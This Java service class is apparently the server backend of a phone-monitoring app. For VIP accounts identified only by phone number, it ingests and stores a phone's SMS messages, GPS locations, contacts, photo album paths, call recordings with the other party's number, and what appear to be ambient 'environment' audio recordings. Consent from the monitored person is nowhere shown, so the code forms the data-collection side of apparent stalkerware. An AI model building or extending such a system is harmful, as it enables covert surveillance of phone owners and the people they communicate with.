package com.monitor.service.impl;

import java.util.Date;
import java.util.List;
import java.util.UUID;

import com.google.gson.Gson;
import com.monitor.api.entity.Result;
import com.monitor.dao.AlbumDao;
import com.monitor.dao.CallLogDao;
import com.monitor.dao.ContactDao;
import com.monitor.dao.EnvironmentRecordDao;
import com.monitor.dao.LocationDao;
import com.monitor.dao.MessageDao;
import com.monitor.dao.UserDao;
import com.monitor.po.Album;
import com.monitor.po.CallLog;
import com.monitor.po.Contact;
import com.monitor.po.EnvironmentRecord;
import com.monitor.po.Location;
import com.monitor.po.Message;
import com.monitor.po.User;
import com.monitor.service.ApiService;
import com.monitor.util.CommenUtil;
import com.monitor.util.EncoderUtil;
import com.monitor.util.RandomUtil;

public class ApiServiceImpl implements ApiService {
	private UserDao userDao;
	private MessageDao messageDao;
	private LocationDao locationDao;
	private ContactDao contactDao;
	private AlbumDao albumDao;
	private CallLogDao callLogDao;
	private EnvironmentRecordDao environmentRecordDao;

	@Override
	public Result sychonizeUserInfo(String phone, String imei, String model) throws Exception {
		Result result = new Result();
		if (CommenUtil.isEmpty(phone)) {
			result.setSuccess(false);
		} else {
			User user = userDao.getUserByPhone(phone);
			// 如果没有用户，则添加
			if (user == null) {
				user = new User();
				RandomUtil util = new RandomUtil();
				user.setPassword(util.getRandomString(8));
				user.setPhone(phone);
				// 如果手机上没有Imei码，则服务器分配一个Imei码
				if (CommenUtil.isEmpty(imei)) {
					UUID uuid = UUID.randomUUID();
					imei = EncoderUtil.md5Encode(uuid.toString(), false);
				}
				user.setNewImei(imei);
				user.setModel(model);
				userDao.addUser(user);
			} else {
				user.setModel(model);
				if (!CommenUtil.isEmpty(imei)) {
					user.setNewImei(imei);
				}
				userDao.updateUser(user);
			}
			result.setSuccess(true);
			result.setUser(user);
		}
		return result;
	}

	@Override
	public Result uploadSms(String phone, String smsStr) throws Exception {
		Result result = new Result();
		if (CommenUtil.isEmpty(phone) || CommenUtil.isEmpty(smsStr)) {
			result.setSuccess(false);
		} else {
			User user = userDao.getUserByPhone(phone);
			// 先判断用户状态，如果不是VIP，直接返回失败
			if (user != null && user.isVip()) {
				try {
					List<Message> messages = null;
					Gson gson = new Gson();
					java.lang.reflect.Type type = new com.google.gson.reflect.TypeToken<List<Message>>() {
					}.getType();
					messages = gson.fromJson(smsStr, type);
					if (messages != null && !messages.isEmpty()) {
						for (Message msg : messages) {
							try {
								messageDao.addMessage(msg);
							} catch (Exception e) {
								e.printStackTrace();
							}
						}
					}
					result.setSuccess(true);
					result.setUser(user);
				} catch (Exception e) {
					e.printStackTrace();
					result.setSuccess(false);
				}
			} else {
				result.setSuccess(false);
			}
		}
		return result;
	}

	@Override
	public Result uploadLocation(String phone, String locationStr) throws Exception {
		Result result = new Result();
		if (CommenUtil.isEmpty(phone) || CommenUtil.isEmpty(locationStr)) {
			result.setSuccess(false);
		} else {
			User user = userDao.getUserByPhone(phone);
			// 先判断用户状态，如果不是VIP，直接返回失败
			if (user != null && user.isVip()) {
				try {
					List<Location> locations = null;
					Gson gson = new Gson();
					java.lang.reflect.Type type = new com.google.gson.reflect.TypeToken<List<Location>>() {
					}.getType();
					locations = gson.fromJson(locationStr, type);
					if (locations != null && !locations.isEmpty()) {
						for (Location location : locations) {
							location.setOwnerUid(user.getId());
							try {
								locationDao.addLocation(location);
							} catch (Exception e) {
								e.printStackTrace();
							}
						}
					}
					result.setSuccess(true);
					result.setUser(user);
				} catch (Exception e) {
					e.printStackTrace();
					result.setSuccess(false);
				}
			} else {
				result.setSuccess(false);
			}
		}
		return result;
	}

	@Override
	public Result uploadContact(String phone, String contactsStr) throws Exception {
		Result result = new Result();
		if (CommenUtil.isEmpty(phone) || CommenUtil.isEmpty(contactsStr)) {
			result.setSuccess(false);
		} else {
			User user = userDao.getUserByPhone(phone);
			// 先判断用户状态，如果不是VIP，直接返回失败
			if (user != null && user.isVip()) {
				try {
					List<Contact> contacts = null;
					Gson gson = new Gson();
					java.lang.reflect.Type type = new com.google.gson.reflect.TypeToken<List<Contact>>() {
					}.getType();
					contacts = gson.fromJson(contactsStr, type);
					boolean success = false;
					if (contacts != null && !contacts.isEmpty()) {
						success = contactDao.addContact(user.getId(), contacts);
					}
					result.setSuccess(success);
					result.setUser(user);
				} catch (Exception e) {
					e.printStackTrace();
					result.setSuccess(false);
				}
			} else {
				result.setSuccess(false);
			}
		}
		return result;
	}

	@Override
	public User getUserByPhone(String phone) throws Exception {
		return userDao.getUserByPhone(phone);
	}

	@Override
	public void uploadAlbum(long uid, String path, long addTime) throws Exception {
		Album album = new Album();
		album.setAddTime(new Date(addTime));
		album.setOwnerUid(uid);
		album.setPath(path);
		albumDao.saveAlbum(album);
	}

	@Override
	public void uploadCallLog(long uid, String targetPhone, long addTime, String path, boolean outgoing) throws Exception {
		CallLog log = new CallLog();
		log.setAddTime(new Date(addTime));
		log.setOwnerUid(uid);
		log.setPath(path);
		log.setTargetPhone(targetPhone);
		log.setOutgoing(outgoing);
		callLogDao.saveCallLog(log);
	}

	@Override
	public void uploadEnvironmentRecord(long uid, long addTime, String path) throws Exception {
		EnvironmentRecord record = new EnvironmentRecord();
		record.setAddTime(new Date(addTime));
		record.setOwnerUid(uid);
		record.setPath(path);
		environmentRecordDao.saveEnvironmentRecord(record);
	}

	public void setUserDao(UserDao userDao) {
		this.userDao = userDao;
	}

	public void setMessageDao(MessageDao messageDao) {
		this.messageDao = messageDao;
	}

	public void setLocationDao(LocationDao locationDao) {
		this.locationDao = locationDao;
	}

	public void setContactDao(ContactDao contactDao) {
		this.contactDao = contactDao;
	}

	public void setAlbumDao(AlbumDao albumDao) {
		this.albumDao = albumDao;
	}

	public void setCallLogDao(CallLogDao callLogDao) {
		this.callLogDao = callLogDao;
	}

	public void setEnvironmentRecordDao(EnvironmentRecordDao environmentRecordDao) {
		this.environmentRecordDao = environmentRecordDao;
	}

}
